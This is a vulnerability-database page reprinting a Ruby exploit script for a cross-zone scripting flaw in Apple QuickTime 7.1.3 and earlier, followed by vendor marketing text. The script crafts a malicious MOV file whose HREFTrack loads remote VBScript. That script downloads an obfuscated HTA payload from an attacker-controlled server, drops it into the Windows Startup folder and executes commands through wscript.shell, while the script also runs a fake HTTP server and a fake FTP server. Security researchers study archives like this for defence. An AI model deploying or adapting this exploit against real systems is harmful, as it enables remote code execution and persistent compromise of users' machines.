Lucene search
K

Apple Quicktime <= 7.1.3 (HREFTrack) Cross-Zone Scripting Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Apple Quicktime Cross-Zone Scripting Exploit for version <= 7.1.

Code

                                                #!/usr/bin/ruby
#
# (c) 2006 LMH &#60;lmh [at] info-pull.com&#62;
# Original scripting and POC by Aviv Raff (http://aviv.raffon.net).
#
# Description:
#   Exploit for MOAB-03-01-2007. If argument &#39;serve&#39; is passed, it uses port 21 for running the
#   fake FTP server (required). HTTP server port can be modified but it&#39;s
#   not recommended. Adjust as necessary.
#
# see http://projects.info-pull.com/moab/MOAB-03-01-2007.html

require &#39;socket&#39;
require &#39;fileutils&#39;
require &#39;webrick&#39;

trap 0, proc {
  puts &#34;-- Terminating: #{$$}&#34;
}

REMOTE_HOST   = &#34;192.168.1.133&#34; # Modify to match IP address or hostname
REMOTE_URL    = &#34;http://#{REMOTE_HOST}/&#34; # Modify to match target path (ex. /mypath)
TARGET_SCRIPT = &#34;on error resume next\r\n&#34; +
                &#34;Set c = CreateObject(\&#34;ADODB.Connection\&#34;)\r\n&#34; +
                &#34;co = \&#34;Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=#{REMOTE_URL};Extensions=txt;\&#34;\r\n&#34; +
                &#34;c.Open co\r\n&#34; +
                &#34;set rs =CreateObject(\&#34;ADODB.Recordset\&#34;)\r\n&#34; +
                &#34;rs.Open \&#34;SELECT * from qtpoc.txt\&#34;, c\r\n&#34; +
                &#34;rs.Save \&#34;C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\poc.hta\&#34;, adPersistXML\r\n&#34; +
                &#34;rs.close\r\n&#34; +
                &#34;c.close\r\n&#34; +
                &#34;window.close\r\n&#34;

HTA_PAYLOAD   = &#34;&#60;script&#62;q=&#39;%77%73%63%72%69%70&#39;;&#60;/script&#62;\r\n&#34; +
                &#34;&#60;script&#62;q+=&#39;%74%2E%73%68%65%6C%6C&#39;;&#60;/script&#62;\r\n&#34; +
                &#34;&#60;script&#62;a=new ActiveXObject(unescape(q));&#60;/script&#62;\r\n&#34; +
                &#34;&#60;script&#62;a.run(&#39;%windir%\\\\System32\\\\calc.exe&#39;);&#60;/script&#62;\r\n&#34; + # executes calc.exe
                &#34;&#60;script&#62;window.close();&#60;/script&#62;\r\n&#34;

HREFTRACK_COD = &#34;A&#60;res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript src=\&#34;#{REMOTE_URL}q.vbs\&#34; &#34; +
                &#34;language=\&#34;vbscript\&#34;%3E%3C/script%3E%3C%21--//|&#62; T&#60;&#62;&#34;

TARGET_DIRECTORY = &#34;served&#34;

#
# ---- Real fun starts here ----
#

puts &#34;++ Preparing files...&#34;

#
# Prepare the MOV file with the HREFTrack pointing at our script.
# 
original_mov = File.read(&#34;qtpoc.mov&#34;)

# Prepare directory structure
FileUtils::mkdir(TARGET_DIRECTORY)

puts &#34;++ MOV file....&#34;
# Write the new MOV file
f = File.new(File.join(TARGET_DIRECTORY, &#34;qtpoc.mov&#34;), &#34;w&#34;)
f.write(original_mov)
f.close

puts &#34;++ Script file....&#34;
# Write the script file
f = File.new(File.join(TARGET_DIRECTORY, &#34;q.vbs&#34;), &#34;w&#34;)
f.print(TARGET_SCRIPT)
f.close

puts &#34;++ HTA payload file....&#34;
# Write the new HTA file (payload)
f = File.new(File.join(TARGET_DIRECTORY, &#34;qtpoc.txt&#34;), &#34;w&#34;)
f.print(HTA_PAYLOAD)
f.close

#
# win32 doesn&#39;t like fork ;-)
#
if ARGV[0] == &#34;serve&#34;
  # HTTP server... via Webrick
  puts &#34;++ Done. Starting HTTP server...&#34;
  web_server   = WEBrick::HTTPServer.new(:Port =&#62; 80, :DocumentRoot =&#62;TARGET_DIRECTORY)
  fork do
    begin
      web_server.start
    rescue
      exit
    end
  end

  # FTP server....
  puts &#34;++ Done. Starting FTP server...&#34;
  begin
    ftp_server = TCPServer.new(&#39;localhost&#39;, 21)
  rescue
    web_server.shutdown
    exit
  end

  # 220 Microsoft FTP Service
  # USER anonymous
  # 331 Anonymous access allowed, send identity (e-mail name) as password.
  # PASS IEUser@
  # 230 Anonymous user logged in.
  # (...)
  while (ftp_session = ftp_server.accept)
    puts &#34;++ FTP: #{ftp_session.gets}&#34;
    # TODO: implement fake responses just to satisfy it.
    ftp_session.close
  end

  # finished
  web_server.shutdown  
end

# milw0rm.com [2007-01-03]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation